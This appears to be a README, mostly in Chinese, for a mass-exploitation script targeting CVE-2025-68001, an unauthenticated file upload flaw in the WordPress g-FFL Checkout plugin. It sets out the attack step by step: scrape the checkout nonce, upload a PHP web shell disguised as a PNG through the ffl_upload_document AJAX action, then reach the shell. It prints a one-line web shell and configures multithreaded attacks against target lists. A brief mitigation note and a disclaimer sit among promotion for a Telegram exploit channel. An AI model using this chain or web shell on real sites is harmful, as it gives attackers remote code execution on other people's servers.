
WordPress g-FFL Checkout Plugin <= 2.1.0 存在一个高优先级任意文件上传漏洞
WordPress g-FFL Checkout 插件 <= 2.1.0 存在高危任意文件上传漏洞
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 保持领先。 加入 Telegram 上的 @KNxploited —— 您获取最新 CVE、零日漏洞和前沿漏洞研究的独家来源。持续更新。并非适合所有人。
CVE-2025-68001 是一个严重级别的未认证任意文件上传漏洞,由 garidium 在 WordPress 的 g-FFL Checkout 插件中发现。
该漏洞允许未认证的远程攻击者通过 ffl_upload_document AJAX 操作将任意文件(包括 Web Shell)上传到目标服务器,从而导致完全远程代码执行 (RCE)。
该利用程序遵循一个精确的多步攻击链:
1. GET /checkout
↓
从内联 JavaScript 数据中提取 `checkout_nonce`
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<提取的 nonce>
document_type=document
document=<伪装成 image/png 的 shell.php>
↓
服务器存储文件,未进行扩展名或 MIME 校验
3. 解析 JSON 响应
↓
提取上传文件路径 / 唯一文件名
4. 通过 HTTP 访问上传的 shell
↓
实现远程代码执行 ✔️
该插件暴露了一个 AJAX 端点 ffl_upload_document,该端点:
运行前安装所有依赖项:
pip install requests rich
| 依赖项 | 用途 |
|---|---|
requests | HTTP 请求与会话处理 |
rich | 终端界面、进度条、面板 |
threading | 多线程目标处理 |
要求 Python 3.8+。
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
创建一个 list.txt 文件,每行一个目标 URL:
https://target1.com
https://target2.com
http://target3.com/wordpress
如果未提供协议,脚本会自动添加
http://。
将您的 PHP Web Shell 放在同一目录中。一个最小化 shell 示例:
<?php system($_GET['cmd']); ?>
保存为 shell.php(或任意名称 —— 您将在提示时输入)。
python CVE-2025-68001.py
您将收到交互式提示:
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
成功的利用结果会自动保存到 success_results.txt:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
每行包含:
| 提示 | 默认值 | 描述 |
|---|---|---|
| 目标文件 | list.txt | 包含目标 URL 的文件 |
| Shell 文件 | shell.php |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
所有目标处理完毕 ✔️。结果保存至 success_results.txt
该漏洞位于插件未进行权限检查的 AJAX 处理器中:
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
如果您是网站所有者或开发者,请立即采取以下步骤:
g-ffl-checkout 插件到已修补版本(> 2.1.0)(如果可用).htaccess 规则).php 文件THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.
Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
— Computer Fraud and Abuse Act (CFAA)
— EU Directive on Attacks Against Information Systems
— And equivalent laws in your jurisdiction.
USE RESPONSIBLY. HACK ETHICALLY.
| 代号 | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 在 Telegram 上关注 @KNxploited 以在第一时间获取最新的漏洞披露、利用程序发布 和安全研究 —— 先于他人。
| 字段 | 详情 |
|---|
| CVE ID | CVE-2025-68001 |
| 插件 | g-FFL Checkout (g-ffl-checkout) |
| 受影响版本 | n/a 至 <= 2.1.0 |
| 漏洞类型 | 无限制文件上传 |
| 影响 | 远程代码执行 (RCE) |
| 认证 | 不需要 |
| CVSS 严重性 | 严重 |
| 研究员 | Nxploited |
| 要上传到目标的 PHP Shell |
| 线程数 | 50 | 并发工作线程(最大:50) |